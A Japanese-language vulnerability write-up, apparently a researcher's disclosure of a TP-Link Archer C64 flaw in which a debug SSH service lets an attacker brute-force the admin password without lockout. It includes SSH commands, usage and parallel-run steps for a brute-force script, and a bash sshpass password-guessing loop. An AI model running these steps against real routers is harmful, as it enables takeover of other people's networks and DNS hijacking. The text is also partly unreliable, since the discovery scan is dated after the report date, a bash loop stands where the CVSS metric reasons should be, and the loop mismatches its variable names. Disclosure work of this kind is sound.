
レポート
CVE-2026-8697 は、TP-Link Archer C64 の OS(デバッグメッセージでは TPOS と呼ばれる)における論理的な欠陥です。この脆弱性により、ルーターに接続された権限のないユーザーが、残存する SSH サービスを利用して Web UI のレート制限をバイパスできます。シンプルな Python スクリプトを使用して、短時間で多くのパスワードを試行し、ルーターの完全な管理者アクセスを取得できます。
POC: poc.py
ルーターにはデバッグ用の SSH サービスがありますが、これはシェルを提供するものではなく、正しいパスワードが入力されると単に終了します。しかし、管理インターフェースと同じパスワードを使用しており、レート制限やロックアウトポリシーはありません。そのため、高速な認証オラクルとして使用してパスワードを総当たりできます。この脆弱性は、ネットワーク上の悪意のある、または侵害された IoT デバイスによって悪用され、ルーターへの完全な管理者アクセスを取得される可能性があります。攻撃者はこのインターフェースを介してシェルアクセスを得ることはできませんが、認証情報を簡単に検証して主要な Web 管理インターフェースを侵害できます。
この脆弱性はファームウェアバージョン 1.15.0 で修正され、サービスが単に削除されています。ルーターをテストするには、次のコマンドを使用します(Linux/macOS):
timeout 10 nc -vz 192.168.0.1 22
echo $?
IP アドレスは、ルーターの Web インターフェースに接続するために使用するアドレスに置き換えてください。出力が 0 または succeeded! と表示された場合、ルーターは脆弱です。それ以外の場合は脆弱ではありません。
Windows では、PowerShell で以下を実行します:
tnc 192.168.0.1 -Port 22
TcpTestSucceeded : True と表示された場合、ルーターは脆弱です。無限にハングするか False と表示された場合は脆弱ではありません。
このバグは完全に論理的なものであり、メモリ破壊、ASLR のバイパス、競合状態の獲得は必要ありません。
当時、私は Nmap を学んでいて、遊び半分で自分のルーターをスキャンすることにしました。脆弱性を探していたわけではありませんが、SSH サービスが開いていることに気づきました。
$ sudo nmap -A -T4 192.168.0.1
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-22 20:06 +0600
Nmap scan report for 192.168.0.1
Host is up (0.0028s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.0 (protocol 2.0)
| ssh-hostkey:
|_ 1024 c3:db:85:33:94:d5:f7:c9:91:18:a0:73:5c:1a:aa:a5 (DSA)
53/tcp open tcpwrapped
80/tcp open http TP-LINK router http config
|_http-title: Opening...
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=tplinkwifi.net/countryName=CN
| Subject Alternative Name: DNS:tplinkwifi.net, IP Address:192.168.0.1
| Not valid before: 2010-01-01T00:00:00
|_Not valid after: 2030-12-31T00:00:00
|_ssl-date: TLS randomness does not represent time
MAC Address: 78:8C:B5:25:3B:AF (TP-Link Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Canon imageRUNNER C5185 printer or Mercusys AC12G WAP (96%), Canon imageRUNNER C2380 or C2880i or Xerox Phaser 8860MFP printer (92%), Fujitsu Externus DX80 or IBM DCS9900 NAS device (92%), VxWorks (92%), Avaya 4526GTX switch (92%), Nortel CS1000M VoIP PBX or Xerox Phaser 8560DT printer (88%), Aastra Dialog 4425 IP phone (87%), HP ProCurve 3500yl, 5406zl, or 6200yl switch or UTStarcom F1000 VoIP phone (87%), Apple AirPort Express WAP or AMX NI-3100 controller (VxWorks) (86%), Xerox ApeosPort-IV C3370 printer (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
上記のログは、OpenSSH 6.6.0(2014 年のレガシーバージョンですが、バージョンは今回の脆弱性には関係ありません)を実行している SSH サービスを示しています。非常に古いバージョンを見て、攻撃者に悪用される可能性があると疑い、シェルを取得してファームウェアを更新する目的で SSH 接続を試みました。その時点では、脆弱性を探すのではなく、ルーターを保護しようとしていました。しかし、接続しようとすると興味深い問題が発生しました。ホスト鍵と公開鍵アルゴリズムが私の OpenSSH バージョンでサポートされていなかったのです。-o オプションも私のシステムでは機能しなかったため、diffie-hellman-group14-sha1 および ssh-dss アルゴリズムをサポートする OpenSSH クライアントが含まれている debian:bullseye-slim コンテナを使用する必要がありました。
コンテナ内で OpenSSH クライアントをインストールした後、SSH サーバーに接続できました。
ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 \
-o HostKeyAlgorithms=+ssh-dss [email protected]
これを使用してようやく SSH サーバーに接続できました。サーバーは TPOS 5 IPSSH Test というメッセージとパスワードプロンプトで迎えてくれました。しかし、パスワードを入力すると接続はすぐに閉じられました。直接コマンドを実行しようとしましたが、コマンドは実行されませんでした。シェルが存在しないことに気づいたので、攻撃者はルーターにアクセスできません。つまり、私のルーターは安全なのでしょうか?実際にはそうではありません。アクセスは得られなくても、パスワードが正しいかどうかを知ることができることに気づきました。そしてそのパスワードは Web インターフェースのパスワードと同じであり、総当たり攻撃を防ぐためのレート制限やその他の対策はまったくありませんでした。そこでこれを CVE にしようと考えました。攻撃を自動化しようと試みました。最初は bash ループで sshpass を使用しようとしましたが、1 接続あたり複数のパスワードを試行できなかったため、Python スクリプトを作成しました。それが添付の POC です。
POC を使用するには、まず venv を作成し、pexpect をインストールします。スクリプトは Pexpect の pxssh モジュールを使用していないことに注意してください。これは、1 回の接続で複数のパスワードを試行することをサポートしていないためです。
python3 -m venv venv
source venv/bin/activate
pip install pexpect
スクリプトを poc.py として保存し、実行します。オプションで、改行区切りのパスワードリストへのパスを最初の引数として渡せます。指定しない場合は、1 から 100 までの数値をパスワードとして使用します(速度テスト用)。
python3 poc.py list.txt
異なるリストを使用して複数のインスタンスを実行することで、攻撃を並列化できます。3 つ以上のインスタンスを実行すると、接続エラーが発生し始めます。スクリプトはすべてのパスワードが試行されることを保証します。
python3 poc.py list1.txt &
python3 poc.py list2.txt &
python3 poc.py list3.txt &
攻撃者は、ネットワーク上の悪意のある、または侵害された IoT デバイスを使用して、パスワードを総当たりし、管理インターフェースへの管理者アクセスを取得できます。ユーザーにこれが行われている兆候はなく、攻撃者は検出されることなく長時間これを行うことができます。攻撃者が管理インターフェースにアクセスすると、DNS 設定を変更して DNS ハイジャックを行ったり、Wi-Fi パスワードを変更してユーザーをロックアウトしたり、静的ルーティングを使用して暗号化されていないトラフィックを傍受したり、存在しない IP へのルーティングによってネットワークアクセスをブロックしたり、ポートフォワーディング、ファイアウォール/ALG の無効化などが可能になります。
この脆弱性の CVSS 4.0 攻撃ベクトルは以下の通りです。
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H
これはスコア 9.3 Critical になります。各メトリクスの理由は以下の通りです。
while read pass;do
sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-dss -o PubkeyAcceptedKeyTypes=+ssh-dss -o NumberOfPasswordPrompts=100000 [email protected]
if [ $? -eq 0 ]; then
echo "Password found: $PASS"
break
fi
done < list.txt
(これは POC スクリプトよりも遅いことに注意してください。1 接続あたり複数のパスワードを試行しないためです)
AV:A に含まれています。ベンダー(TP-Link)はこの脆弱性をスコア 8.7 (High) で公開しており、ベクトルは次の通りです。
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
しかし、本研究では後続システムへの影響を「None」と評価すべきではないと主張します。ルーターは接続されたすべてのデバイスの主要なゲートウェイとして機能するためです。
したがって、ホームネットワークに対するリスクをより正確に表すスコアは、上記で説明した 9.3/Critical です。
ルーターのファームウェアを 1.15.0 Build 250729 以降に更新すると、この問題は修正されます。
この脆弱性は Tanjim Kamal によって発見され、報告されました。
| 日付 | イベント |
|---|
| 2026-02-26 | 脆弱性を TP-Link 製品セキュリティチームに報告 |
| 2026-03-03 | 最初の受領確認を受領 |
| 2026-03-14 | TP-Link が検証と修正の段階にあることを確認 |
| 2026-04-22 | TP-Link が脆弱性はファームウェアバージョン 1.15.0 で修正されたが、ファームウェアはまだ公開されていないと連絡 |
| 2026-04-24 | ファームウェアが公開される |
| 2026-04-26 | 修正を確認し、CVE ID をリクエスト |
| 2026-05-15 | 90 日間の期限のリマインダーを TP-Link に送信 |
| 2026-05-15 | CVE ID が予約される |
| 2026-05-29 | 公開開示 |
| 2026-05-29 | レポート公開(本ドキュメント) |